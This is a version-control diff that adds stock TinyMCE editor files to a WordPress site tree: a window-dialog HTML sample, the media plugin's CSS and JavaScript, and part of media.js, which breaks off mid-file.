+	<div class="clearlooks2" style="width:400px; height:100px; left:420px; top:340px;">
+		<div class="mceWrapper mceMovable mceStatusbar mceResizable mceMaximized mceMinimizable mceMaximizable">
+			<div class="mceTop">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Blured</span>
+			</div>
+
+			<div class="mceMiddle">
+				<div class="mceLeft"></div>
+				<span>Content</span>
+				<div class="mceRight"></div>
+			</div>
+
+			<div class="mceBottom">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Statusbar text.</span>
+			</div>
+
+			<a class="mceMove" href="#"></a>
+			<a class="mceMin" href="#"></a>
+			<a class="mceMax" href="#"></a>
+			<a class="mceMed" href="#"></a>
+			<a class="mceClose" href="#"></a>
+			<a class="mceResize mceResizeN" href="#"></a>
+			<a class="mceResize mceResizeS" href="#"></a>
+			<a class="mceResize mceResizeW" href="#"></a>
+			<a class="mceResize mceResizeE" href="#"></a>
+			<a class="mceResize mceResizeNW" href="#"></a>
+			<a class="mceResize mceResizeNE" href="#"></a>
+			<a class="mceResize mceResizeSW" href="#"></a>
+			<a class="mceResize mceResizeSE" href="#"></a>
+		</div>
+	</div>
+
+	<div class="clearlooks2" style="width:400px; height:130px; left:10px; top:450px;">
+		<div class="mceWrapper mceMovable mceFocus mceModal mceAlert">
+			<div class="mceTop">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Alert</span>
+			</div>
+
+			<div class="mceMiddle">
+				<div class="mceLeft"></div>
+				<span>
+					This is a very long error message. This is a very long error message.
+					This is a very long error message. This is a very long error message.
+					This is a very long error message. This is a very long error message.
+					This is a very long error message. This is a very long error message.
+					This is a very long error message. This is a very long error message.
+					This is a very long error message. This is a very long error message.
+				</span>
+				<div class="mceRight"></div>
+				<div class="mceIcon"></div>
+			</div>
+
+			<div class="mceBottom">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+			</div>
+
+			<a class="mceMove" href="#"></a>
+			<a class="mceButton mceOk" href="#">Ok</a>
+			<a class="mceClose" href="#"></a>
+		</div>
+	</div>
+
+	<div class="clearlooks2" style="width:400px; height:130px; left:420px; top:450px;">
+		<div class="mceWrapper mceMovable mceFocus mceModal mceConfirm">
+			<div class="mceTop">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Confirm</span>
+			</div>
+
+			<div class="mceMiddle">
+				<div class="mceLeft"></div>
+				<span>
+					This is a very long error message. This is a very long error message.
+					This is a very long error message. This is a very long error message.
+					This is a very long error message. This is a very long error message.
+					This is a very long error message. This is a very long error message.
+					This is a very long error message. This is a very long error message.
+					This is a very long error message. This is a very long error message.
+					</span>
+				<div class="mceRight"></div>
+				<div class="mceIcon"></div>
+			</div>
+
+			<div class="mceBottom">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+			</div>
+
+			<a class="mceMove" href="#"></a>
+			<a class="mceButton mceOk" href="#">Ok</a>
+			<a class="mceButton mceCancel" href="#">Cancel</a>
+			<a class="mceClose" href="#"></a>
+		</div>
+	</div>
+</div>
+
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/css/content.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/css/content.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/css/content.css	(revision 44)
@@ -0,0 +1,6 @@
+.mceItemFlash, .mceItemShockWave, .mceItemQuickTime, .mceItemWindowsMedia, .mceItemRealMedia {border:1px dotted #cc0000; background-position:center; background-repeat:no-repeat; background-color:#ffffcc;}
+.mceItemShockWave {background-image: url(../img/shockwave.gif);}
+.mceItemFlash {background-image:url(../img/flash.gif);}
+.mceItemQuickTime {background-image:url(../img/quicktime.gif);}
+.mceItemWindowsMedia {background-image:url(../img/windowsmedia.gif);}
+.mceItemRealMedia {background-image:url(../img/realmedia.gif);}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/css/media.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/css/media.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/css/media.css	(revision 44)
@@ -0,0 +1,16 @@
+#id, #name, #hspace, #vspace, #class_name, #align {	width: 100px }
+#hspace, #vspace { width: 50px }
+#flash_quality, #flash_align, #flash_scale, #flash_salign, #flash_wmode { width: 100px }
+#flash_base, #flash_flashvars { width: 240px }
+#width, #height { width: 40px }
+#src, #media_type { width: 250px }
+#class { width: 120px }
+#prev { margin: 0; border: 1px solid black; width: 380px; height: 230px; overflow: auto }
+.panel_wrapper div.current { height: 390px; overflow: auto }
+#flash_options, #shockwave_options, #qt_options, #wmp_options, #rmp_options { display: none }
+.mceAddSelectValue { background-color: #DDDDDD }
+#qt_starttime, #qt_endtime, #qt_fov, #qt_href, #qt_moveid, #qt_moviename, #qt_node, #qt_pan, #qt_qtsrc, #qt_qtsrcchokespeed, #qt_target, #qt_tilt, #qt_urlsubstituten, #qt_volume { width: 70px }
+#wmp_balance, #wmp_baseurl, #wmp_captioningid, #wmp_currentmarker, #wmp_currentposition, #wmp_defaultframe, #wmp_playcount, #wmp_rate, #wmp_uimode, #wmp_volume { width: 70px }
+#rmp_console, #rmp_numloop, #rmp_controls, #rmp_scriptcallbacks { width: 70px }
+#shockwave_swvolume, #shockwave_swframe, #shockwave_swurl, #shockwave_swstretchvalign, #shockwave_swstretchhalign, #shockwave_swstretchstyle { width: 90px }
+#qt_qtsrc { width: 200px }
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/editor_plugin.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/editor_plugin.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/editor_plugin.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(){var a=tinymce.each;tinymce.create("tinymce.plugins.MediaPlugin",{init:function(b,c){var e=this;e.editor=b;e.url=c;function f(g){return/^(mceItemFlash|mceItemShockWave|mceItemWindowsMedia|mceItemQuickTime|mceItemRealMedia)$/.test(g.className)}b.onPreInit.add(function(){b.serializer.addRules("param[name|value|_mce_value]")});b.addCommand("mceMedia",function(){b.windowManager.open({file:c+"/media.htm",width:430+parseInt(b.getLang("media.delta_width",0)),height:470+parseInt(b.getLang("media.delta_height",0)),inline:1},{plugin_url:c})});b.addButton("media",{title:"media.desc",cmd:"mceMedia"});b.onNodeChange.add(function(h,g,i){g.setActive("media",i.nodeName=="IMG"&&f(i))});b.onInit.add(function(){var g={mceItemFlash:"flash",mceItemShockWave:"shockwave",mceItemWindowsMedia:"windowsmedia",mceItemQuickTime:"quicktime",mceItemRealMedia:"realmedia"};b.selection.onSetContent.add(function(){e._spansToImgs(b.getBody())});b.selection.onBeforeSetContent.add(e._objectsToSpans,e);if(b.settings.content_css!==false){b.dom.loadCSS(c+"/css/content.css")}if(b.theme.onResolveName){b.theme.onResolveName.add(function(h,i){if(i.name=="img"){a(g,function(l,j){if(b.dom.hasClass(i.node,j)){i.name=l;i.title=b.dom.getAttrib(i.node,"title");return false}})}})}if(b&&b.plugins.contextmenu){b.plugins.contextmenu.onContextMenu.add(function(i,h,j){if(j.nodeName=="IMG"&&/mceItem(Flash|ShockWave|WindowsMedia|QuickTime|RealMedia)/.test(j.className)){h.add({title:"media.edit",icon:"media",cmd:"mceMedia"})}})}});b.onBeforeSetContent.add(e._objectsToSpans,e);b.onSetContent.add(function(){e._spansToImgs(b.getBody())});b.onPreProcess.add(function(g,i){var h=g.dom;if(i.set){e._spansToImgs(i.node);a(h.select("IMG",i.node),function(k){var j;if(f(k)){j=e._parse(k.title);h.setAttrib(k,"width",h.getAttrib(k,"width",j.width||100));h.setAttrib(k,"height",h.getAttrib(k,"height",j.height||100))}})}if(i.get){a(h.select("IMG",i.node),function(m){var l,j,k;if(g.getParam("media_use_script")){if(f(m)){m.className=m.className.replace(/mceItem/g,"mceTemp")}return}switch(m.className){case"mceItemFlash":l="d27cdb6e-ae6d-11cf-96b8-444553540000";j="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0";k="application/x-shockwave-flash";break;case"mceItemShockWave":l="166b1bca-3f9c-11cf-8075-444553540000";j="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0";k="application/x-director";break;case"mceItemWindowsMedia":l=g.getParam("media_wmp6_compatible")?"05589fa1-c356-11ce-bf01-00aa0055595a":"6bf52a52-394a-11d3-b153-00c04f79faa6";j="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701";k="application/x-mplayer2";break;case"mceItemQuickTime":l="02bf25d5-8c17-4b23-bc80-d3488abddc6b";j="http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0";k="video/quicktime";break;case"mceItemRealMedia":l="cfcdaa03-8be4-11cf-b84b-0020afbbccfa";j="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0";k="audio/x-pn-realaudio-plugin";break}if(l){h.replace(e._buildObj({classid:l,codebase:j,type:k},m),m)}})}});b.onPostProcess.add(function(g,h){h.content=h.content.replace(/_mce_value=/g,"value=")});function d(g,h){h=new RegExp(h+'="([^"]+)"',"g").exec(g);return h?b.dom.decode(h[1]):""}b.onPostProcess.add(function(g,h){if(g.getParam("media_use_script")){h.content=h.content.replace(/<img[^>]+>/g,function(j){var i=d(j,"class");if(/^(mceTempFlash|mceTempShockWave|mceTempWindowsMedia|mceTempQuickTime|mceTempRealMedia)$/.test(i)){at=e._parse(d(j,"title"));at.width=d(j,"width");at.height=d(j,"height");j='<script type="text/javascript">write'+i.substring(7)+"({"+e._serialize(at)+"});<\/script>"}return j})}})},getInfo:function(){return{longname:"Media",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/media",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_objectsToSpans:function(b,e){var c=this,d=e.content;d=d.replace(/<script[^>]*>\s*write(Flash|ShockWave|WindowsMedia|QuickTime|RealMedia)\(\{([^\)]*)\}\);\s*<\/script>/gi,function(g,f,i){var h=c._parse(i);return'<img class="mceItem'+f+'" title="'+b.dom.encode(i)+'" src="'+c.url+'/img/trans.gif" width="'+h.width+'" height="'+h.height+'" />'});d=d.replace(/<object([^>]*)>/gi,'<span class="mceItemObject" $1>');d=d.replace(/<embed([^>]*)\/?>/gi,'<span class="mceItemEmbed" $1></span>');d=d.replace(/<embed([^>]*)>/gi,'<span class="mceItemEmbed" $1>');d=d.replace(/<\/(object)([^>]*)>/gi,"</span>");d=d.replace(/<\/embed>/gi,"");d=d.replace(/<param([^>]*)>/gi,function(g,f){return"<span "+f.replace(/value=/gi,"_mce_value=")+' class="mceItemParam"></span>'});d=d.replace(/\/ class=\"mceItemParam\"><\/span>/gi,'class="mceItemParam"></span>');e.content=d},_buildObj:function(g,h){var d,c=this.editor,f=c.dom,e=this._parse(h.title),b;b=c.getParam("media_strict",true)&&g.type=="application/x-shockwave-flash";e.width=g.width=f.getAttrib(h,"width")||100;e.height=g.height=f.getAttrib(h,"height")||100;if(e.src){e.src=c.convertURL(e.src,"src",h)}if(b){d=f.create("span",{id:e.id,mce_name:"object",type:"application/x-shockwave-flash",data:e.src,style:f.getAttrib(h,"style"),width:g.width,height:g.height})}else{d=f.create("span",{id:e.id,mce_name:"object",classid:"clsid:"+g.classid,style:f.getAttrib(h,"style"),codebase:g.codebase,width:g.width,height:g.height})}a(e,function(j,i){if(!/^(width|height|codebase|classid|id|_cx|_cy)$/.test(i)){if(g.type=="application/x-mplayer2"&&i=="src"&&!e.url){i="url"}if(j){f.add(d,"span",{mce_name:"param",name:i,_mce_value:j})}}});if(!b){f.add(d,"span",tinymce.extend({mce_name:"embed",type:g.type,style:f.getAttrib(h,"style")},e))}return d},_spansToImgs:function(e){var d=this,f=d.editor.dom,b,c;a(f.select("span",e),function(g){if(f.getAttrib(g,"class")=="mceItemObject"){c=f.getAttrib(g,"classid").toLowerCase().replace(/\s+/g,"");switch(c){case"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000":f.replace(d._createImg("mceItemFlash",g),g);break;case"clsid:166b1bca-3f9c-11cf-8075-444553540000":f.replace(d._createImg("mceItemShockWave",g),g);break;case"clsid:6bf52a52-394a-11d3-b153-00c04f79faa6":case"clsid:22d6f312-b0f6-11d0-94ab-0080c74c7e95":case"clsid:05589fa1-c356-11ce-bf01-00aa0055595a":f.replace(d._createImg("mceItemWindowsMedia",g),g);break;case"clsid:02bf25d5-8c17-4b23-bc80-d3488abddc6b":f.replace(d._createImg("mceItemQuickTime",g),g);break;case"clsid:cfcdaa03-8be4-11cf-b84b-0020afbbccfa":f.replace(d._createImg("mceItemRealMedia",g),g);break;default:f.replace(d._createImg("mceItemFlash",g),g)}return}if(f.getAttrib(g,"class")=="mceItemEmbed"){switch(f.getAttrib(g,"type")){case"application/x-shockwave-flash":f.replace(d._createImg("mceItemFlash",g),g);break;case"application/x-director":f.replace(d._createImg("mceItemShockWave",g),g);break;case"application/x-mplayer2":f.replace(d._createImg("mceItemWindowsMedia",g),g);break;case"video/quicktime":f.replace(d._createImg("mceItemQuickTime",g),g);break;case"audio/x-pn-realaudio-plugin":f.replace(d._createImg("mceItemRealMedia",g),g);break;default:f.replace(d._createImg("mceItemFlash",g),g)}}})},_createImg:function(c,h){var b,g=this.editor.dom,f={},e="",d;d=["id","name","width","height","bgcolor","align","flashvars","src","wmode","allowfullscreen","quality"];b=g.create("img",{src:this.url+"/img/trans.gif",width:g.getAttrib(h,"width")||100,height:g.getAttrib(h,"height")||100,style:g.getAttrib(h,"style"),"class":c});a(d,function(i){var j=g.getAttrib(h,i);if(j){f[i]=j}});a(g.select("span",h),function(i){if(g.hasClass(i,"mceItemParam")){f[g.getAttrib(i,"name")]=g.getAttrib(i,"_mce_value")}});if(f.movie){f.src=f.movie;delete f.movie}h=g.select(".mceItemEmbed",h)[0];if(h){a(d,function(i){var j=g.getAttrib(h,i);if(j&&!f[i]){f[i]=j}})}delete f.width;delete f.height;b.title=this._serialize(f);return b},_parse:function(b){return tinymce.util.JSON.parse("{"+b+"}")},_serialize:function(b){return tinymce.util.JSON.serialize(b).replace(/[{}]/g,"")}});tinymce.PluginManager.add("media",tinymce.plugins.MediaPlugin)})();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/js/embed.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/js/embed.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/js/embed.js	(revision 44)
@@ -0,0 +1,73 @@
+/**
+ * This script contains embed functions for common plugins. This scripts are complety free to use for any purpose.
+ */
+
+function writeFlash(p) {
+	writeEmbed(
+		'D27CDB6E-AE6D-11cf-96B8-444553540000',
+		'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0',
+		'application/x-shockwave-flash',
+		p
+	);
+}
+
+function writeShockWave(p) {
+	writeEmbed(
+	'166B1BCA-3F9C-11CF-8075-444553540000',
+	'http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0',
+	'application/x-director',
+		p
+	);
+}
+
+function writeQuickTime(p) {
+	writeEmbed(
+		'02BF25D5-8C17-4B23-BC80-D3488ABDDC6B',
+		'http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0',
+		'video/quicktime',
+		p
+	);
+}
+
+function writeRealMedia(p) {
+	writeEmbed(
+		'CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA',
+		'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0',
+		'audio/x-pn-realaudio-plugin',
+		p
+	);
+}
+
+function writeWindowsMedia(p) {
+	p.url = p.src;
+	writeEmbed(
+		'6BF52A52-394A-11D3-B153-00C04F79FAA6',
+		'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701',
+		'application/x-mplayer2',
+		p
+	);
+}
+
+function writeEmbed(cls, cb, mt, p) {
+	var h = '', n;
+
+	h += '<object classid="clsid:' + cls + '" codebase="' + cb + '"';
+	h += typeof(p.id) != "undefined" ? 'id="' + p.id + '"' : '';
+	h += typeof(p.name) != "undefined" ? 'name="' + p.name + '"' : '';
+	h += typeof(p.width) != "undefined" ? 'width="' + p.width + '"' : '';
+	h += typeof(p.height) != "undefined" ? 'height="' + p.height + '"' : '';
+	h += typeof(p.align) != "undefined" ? 'align="' + p.align + '"' : '';
+	h += '>';
+
+	for (n in p)
+		h += '<param name="' + n + '" value="' + p[n] + '">';
+
+	h += '<embed type="' + mt + '"';
+
+	for (n in p)
+		h += n + '="' + p[n] + '" ';
+
+	h += '></embed></object>';
+
+	document.write(h);
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/js/media.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/js/media.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/js/media.js	(revision 44)
@@ -0,0 +1,630 @@
+tinyMCEPopup.requireLangPack();
+
+var oldWidth, oldHeight, ed, url;
+
+if (url = tinyMCEPopup.getParam("media_external_list_url"))
+	document.write('<script language="javascript" type="text/javascript" src="' + tinyMCEPopup.editor.documentBaseURI.toAbsolute(url) + '"></script>');
+
+function init() {
+	var pl = "", f, val;
+	var type = "flash", fe, i;
+
+	ed = tinyMCEPopup.editor;
+
+	tinyMCEPopup.resizeToInnerSize();
+	f = document.forms[0]
+
+	fe = ed.selection.getNode();
+	if (/mceItem(Flash|ShockWave|WindowsMedia|QuickTime|RealMedia)/.test(ed.dom.getAttrib(fe, 'class'))) {
+		pl = fe.title;
+
+		switch (ed.dom.getAttrib(fe, 'class')) {
+			case 'mceItemFlash':
+				type = 'flash';
+				break;
+
+			case 'mceItemFlashVideo':
+				type = 'flv';
+				break;
+
+			case 'mceItemShockWave':
+				type = 'shockwave';
+				break;
+
+			case 'mceItemWindowsMedia':
+				type = 'wmp';
+				break;
+
+			case 'mceItemQuickTime':
+				type = 'qt';
+				break;
+
+			case 'mceItemRealMedia':
+				type = 'rmp';
+				break;
+		}
+
+		document.forms[0].insert.value = ed.getLang('update', 'Insert', true); 
+	}
+
+	document.getElementById('filebrowsercontainer').innerHTML = getBrowserHTML('filebrowser','src','media','media');
+	document.getElementById('qtsrcfilebrowsercontainer').innerHTML = getBrowserHTML('qtsrcfilebrowser','qt_qtsrc','media','media');
+	document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor');
+
+	var html = getMediaListHTML('medialist','src','media','media');
+	if (html == "")
+		document.getElementById("linklistrow").style.display = 'none';
+	else
+		document.getElementById("linklistcontainer").innerHTML = html;
+
+	// Resize some elements
+	if (isVisible('filebrowser'))
+		document.getElementById('src').style.width = '230px';
+
+	// Setup form
+	if (pl != "") {
+		pl = tinyMCEPopup.editor.plugins.media._parse(pl);
+
+		switch (type) {
+			case "flash":
+				setBool(pl, 'flash', 'play');
+				setBool(pl, 'flash', 'loop');
+				setBool(pl, 'flash', 'menu');
+				setBool(pl, 'flash', 'swliveconnect');
+				setStr(pl, 'flash', 'quality');
+				setStr(pl, 'flash', 'scale');
+				setStr(pl, 'flash', 'salign');
+				setStr(pl, 'flash', 'wmode');
+				setStr(pl, 'flash', 'base');
+				setStr(pl, 'flash', 'flashvars');
+			break;
+
+			case "qt":
+				setBool(pl, 'qt', 'loop');
+				setBool(pl, 'qt', 'autoplay');
+				setBool(pl, 'qt', 'cache');
+				setBool(pl, 'qt', 'controller');
+				setBool(pl, 'qt', 'correction');
+				setBool(pl, 'qt', 'enablejavascript');
+				setBool(pl, 'qt', 'kioskmode');
+				setBool(pl, 'qt', 'autohref');
+				setBool(pl, 'qt', 'playeveryframe');
+				setBool(pl, 'qt', 'tarsetcache');
+				setStr(pl, 'qt', 'scale');
+				setStr(pl, 'qt', 'starttime');
+				setStr(pl, 'qt', 'endtime');
+				setStr(pl, 'qt', 'tarset');
+				setStr(pl, 'qt', 'qtsrcchokespeed');
+				setStr(pl, 'qt', 'volume');
+				setStr(pl, 'qt', 'qtsrc');
+			break;
+
+			case "shockwave":
+				setBool(pl, 'shockwave', 'sound');
+				setBool(pl, 'shockwave', 'progress');
+				setBool(pl, 'shockwave', 'autostart');
+				setBool(pl, 'shockwave', 'swliveconnect');
+				setStr(pl, 'shockwave', 'swvolume');
+				setStr(pl, 'shockwave', 'swstretchstyle');
+				setStr(pl, 'shockwave', 'swstretchhalign');
+				setStr(pl, 'shockwave', 'swstretchvalign');
+			break;
+
+			case "wmp":
+				setBool(pl, 'wmp', 'autostart');
+				setBool(pl, 'wmp', 'enabled');
+				setBool(pl, 'wmp', 'enablecontextmenu');
+				setBool(pl, 'wmp', 'fullscreen');
+				setBool(pl, 'wmp', 'invokeurls');
+				setBool(pl, 'wmp', 'mute');
+				setBool(pl, 'wmp', 'stretchtofit');
+				setBool(pl, 'wmp', 'windowlessvideo');
+				setStr(pl, 'wmp', 'balance');
+				setStr(pl, 'wmp', 'baseurl');
+				setStr(pl, 'wmp', 'captioningid');
+				setStr(pl, 'wmp', 'currentmarker');
+				setStr(pl, 'wmp', 'currentposition');
+				setStr(pl, 'wmp', 'defaultframe');
+				setStr(pl, 'wmp', 'playcount');
+				setStr(pl, 'wmp', 'rate');
+				setStr(pl, 'wmp', 'uimode');
+				setStr(pl, 'wmp', 'volume');
+			break;
+
+			case "rmp":
+				setBool(pl, 'rmp', 'autostart');
+				setBool(pl, 'rmp', 'loop');
+				setBool(pl, 'rmp', 'autogotourl');
+				setBool(pl, 'rmp', 'center');
+				setBool(pl, 'rmp', 'imagestatus');
+				setBool(pl, 'rmp', 'maintainaspect');
+				setBool(pl, 'rmp', 'nojava');
+				setBool(pl, 'rmp', 'prefetch');
+				setBool(pl, 'rmp', 'shuffle');
+				setStr(pl, 'rmp', 'console');
+				setStr(pl, 'rmp', 'controls');
+				setStr(pl, 'rmp', 'numloop');
+				setStr(pl, 'rmp', 'scriptcallbacks');
+			break;
+		}
+
+		setStr(pl, null, 'src');
+		setStr(pl, null, 'id');
+		setStr(pl, null, 'name');
+		setStr(pl, null, 'vspace');
+		setStr(pl, null, 'hspace');
+		setStr(pl, null, 'bgcolor');
+		setStr(pl, null, 'align');
+		setStr(pl, null, 'width');
+		setStr(pl, null, 'height');
+
+		if ((val = ed.dom.getAttrib(fe, "width")) != "")
+			pl.width = f.width.value = val;
+
+		if ((val = ed.dom.getAttrib(fe, "height")) != "")
+			pl.height = f.height.value = val;
+
+		oldWidth = pl.width ? parseInt(pl.width) : 0;
+		oldHeight = pl.height ? parseInt(pl.height) : 0;
+	} else
+		oldWidth = oldHeight = 0;
+
+	selectByValue(f, 'media_type', type);
+	changedType(type);
+	updateColor('bgcolor_pick', 'bgcolor');
+
+	TinyMCE_EditableSelects.init();
+	generatePreview();
+}
+
+function insertMedia() {
+	var fe, f = document.forms[0], h;
+
+	tinyMCEPopup.restoreSelection();
+
+	if (!AutoValidator.validate(f)) {
+		tinyMCEPopup.alert(ed.getLang('invalid_data'));
+		return false;
+	}
+
+	f.width.value = f.width.value == "" ? 100 : f.width.value;
+	f.height.value = f.height.value == "" ? 100 : f.height.value;
+
+	fe = ed.selection.getNode();
+	if (fe != null && /mceItem(Flash|ShockWave|WindowsMedia|QuickTime|RealMedia)/.test(ed.dom.getAttrib(fe, 'class'))) {
+		switch (f.media_type.options[f.media_type.selectedIndex].value) {
+			case "flash":
+				fe.className = "mceItemFlash";
+				break;
+
+			case "flv":
+				fe.className = "mceItemFlashVideo";
+				break;
+
+			case "shockwave":
+				fe.className = "mceItemShockWave";
+				break;
+
+			case "qt":
+				fe.className = "mceItemQuickTime";
+				break;
+
+			case "wmp":
+				fe.className = "mceItemWindowsMedia";
+				break;
+
+			case "rmp":
+				fe.className = "mceItemRealMedia";
+				break;
+		}
+
+		if (fe.width != f.width.value || fe.height != f.height.value)
+			ed.execCommand('mceRepaint');
+
+		fe.title = serializeParameters();
+		fe.width = f.width.value;
+		fe.height = f.height.value;
+		fe.style.width = f.width.value + (f.width.value.indexOf('%') == -1 ? 'px' : '');
+		fe.style.height = f.height.value + (f.height.value.indexOf('%') == -1 ? 'px' : '');
+		fe.align = f.align.options[f.align.selectedIndex].value;
+	} else {
+		h = '<img src="' + tinyMCEPopup.getWindowArg("plugin_url") + '/img/trans.gif"' ;
+
+		switch (f.media_type.options[f.media_type.selectedIndex].value) {
+			case "flash":
+				h += ' class="mceItemFlash"';
+				break;
+
+			case "flv":
+				h += ' class="mceItemFlashVideo"';
+				break;
+
+			case "shockwave":
+				h += ' class="mceItemShockWave"';
+				break;
+
+			case "qt":
+				h += ' class="mceItemQuickTime"';
+				break;
+
+			case "wmp":
+				h += ' class="mceItemWindowsMedia"';
+				break;
+
+			case "rmp":
+				h += ' class="mceItemRealMedia"';
+				break;
+		}
+
+		h += ' title="' + serializeParameters() + '"';
+		h += ' width="' + f.width.value + '"';
+		h += ' height="' + f.height.value + '"';
+		h += ' align="' + f.align.options[f.align.selectedIndex].value + '"';
+
+		h += ' />';
+
+		ed.execCommand('mceInsertContent', false, h);
+	}
+
+	tinyMCEPopup.close();
+}
+
+function updatePreview() {
+	var f = document.forms[0], type;
+
+	f.width.value = f.width.value || '320';
+	f.height.value = f.height.value || '240';
+
+	type = getType(f.src.value);
+	selectByValue(f, 'media_type', type);
+	changedType(type);
+	generatePreview();
+}
+
+function getMediaListHTML() {
+	if (typeof(tinyMCEMediaList) != "undefined" && tinyMCEMediaList.length > 0) {
+		var html = "";
+
+		html += '<select id="linklist" name="linklist" style="width: 250px" onchange="this.form.src.value=this.options[this.selectedIndex].value;updatePreview();">';
+		html += '<option value="">---</option>';
+
+		for (var i=0; i<tinyMCEMediaList.length; i++)
+			html += '<option value="' + tinyMCEMediaList[i][1] + '">' + tinyMCEMediaList[i][0] + '</option>';
+
+		html += '</select>';
+
+		return html;
+	}
+
+	return "";
+}
+
+function getType(v) {
+	var fo, i, c, el, x, f = document.forms[0];
+
+	fo = ed.getParam("media_types", "flash=swf;flv=flv;shockwave=dcr;qt=mov,qt,mpg,mp3,mp4,mpeg;shockwave=dcr;wmp=avi,wmv,wm,asf,asx,wmx,wvx;rmp=rm,ra,ram").split(';');
+
+	// YouTube
+	if (v.match(/watch\?v=(.+)(.*)/)) {
+		f.width.value = '425';
+		f.height.value = '350';
+		f.src.value = 'http://www.youtube.com/v/' + v.match(/v=(.*)(.*)/)[0].split('=')[1];
+		return 'flash';
+	}
+
+	// Google video
+	if (v.indexOf('http://video.google.com/videoplay?docid=') == 0) {
+		f.width.value = '425';
+		f.height.value = '326';
+		f.src.value = 'http://video.google.com/googleplayer.swf?docId=' + v.substring('http://video.google.com/videoplay?docid='.length) + '&hl=en';
+		return 'flash';
+	}
+
+	for (i=0; i<fo.length; i++) {
+		c = fo[i].split('=');
+
+		el = c[1].split(',');
+		for (x=0; x<el.length; x++)
+		if (v.indexOf('.' + el[x]) != -1)
+			return c[0];
+	}
+
+	return null;
+}
+
+function switchType(v) {
+	var t = getType(v), d = document, f = d.forms[0];
+
+	if (!t)
+		return;
+
+	selectByValue(d.forms[0], 'media_type', t);
+	changedType(t);
+
+	// Update qtsrc also
+	if (t == 'qt' && f.src.value.toLowerCase().indexOf('rtsp://') != -1) {
+		alert(ed.getLang("media_qt_stream_warn"));
+
+		if (f.qt_qtsrc.value == '')
+			f.qt_qtsrc.value = f.src.value;
+	}
+}
+
+function changedType(t) {
+	var d = document;
+
+	d.getElementById('flash_options').style.display = 'none';
+	d.getElementById('flv_options').style.display = 'none';
+	d.getElementById('qt_options').style.display = 'none';
+	d.getElementById('shockwave_options').style.display = 'none';
+	d.getElementById('wmp_options').style.display = 'none';
+	d.getElementById('rmp_options').style.display = 'none';
+
+	if (t)
+		d.getElementById(t + '_options').style.display = 'block';
+}
+
+function serializeParameters() {
+	var d = document, f = d.forms[0], s = '';
+
+	switch (f.media_type.options[f.media_type.selectedIndex].value) {
+		case "flash":
+			s += getBool('flash', 'play', true);
+			s += getBool('flash', 'loop', true);
+			s += getBool('flash', 'menu', true);
+			s += getBool('flash', 'swliveconnect', false);
+			s += getStr('flash', 'quality');
+			s += getStr('flash', 'scale');
+			s += getStr('flash', 'salign');
+			s += getStr('flash', 'wmode');
+			s += getStr('flash', 'base');
+			s += getStr('flash', 'flashvars');
+		break;
+
+		case "qt":
+			s += getBool('qt', 'loop', false);
+			s += getBool('qt', 'autoplay', true);
+			s += getBool('qt', 'cache', false);
+			s += getBool('qt', 'controller', true);
+			s += getBool('qt', 'correction', false, 'none', 'full');
+			s += getBool('qt', 'enablejavascript', false);
+			s += getBool('qt', 'kioskmode', false);
+			s += getBool('qt', 'autohref', false);
+			s += getBool('qt', 'playeveryframe', false);
+			s += getBool('qt', 'targetcache', false);
+			s += getStr('qt', 'scale');
+			s += getStr('qt', 'starttime');
+			s += getStr('qt', 'endtime');
+			s += getStr('qt', 'target');
+			s += getStr('qt', 'qtsrcchokespeed');
+			s += getStr('qt', 'volume');
+			s += getStr('qt', 'qtsrc');
+		break;
+
+		case "shockwave":
+			s += getBool('shockwave', 'sound');
+			s += getBool('shockwave', 'progress');
+			s += getBool('shockwave', 'autostart');
